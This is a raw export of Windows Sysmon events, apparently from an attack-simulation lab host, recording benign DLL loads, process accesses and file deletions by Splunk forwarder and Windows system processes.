734700x800000000000000054345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000054333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000054332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000054328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000054326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.426{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D27D32F7D5F0390E0480A0969A5D076,SHA256=3F7E58EDCE030C5D4A03A751A2B6D729D96E9A36EF0D016AA9C6EA0CA1816E7B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.389{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=82806DCE1D9693B854577C32E37927AF,SHA256=1C126CFD241E67B78F604F1EE63A630EF5CCBBF10C63F0F93C45B699866C8117,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000054318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.325{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.325{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.325{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.237{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000054314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.237{7BD73061-73F4-613B-890B-00000000F001}67721876C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.237{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.237{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000054311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.098{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.098{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.098{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.090{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.090{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.090{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.090{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft 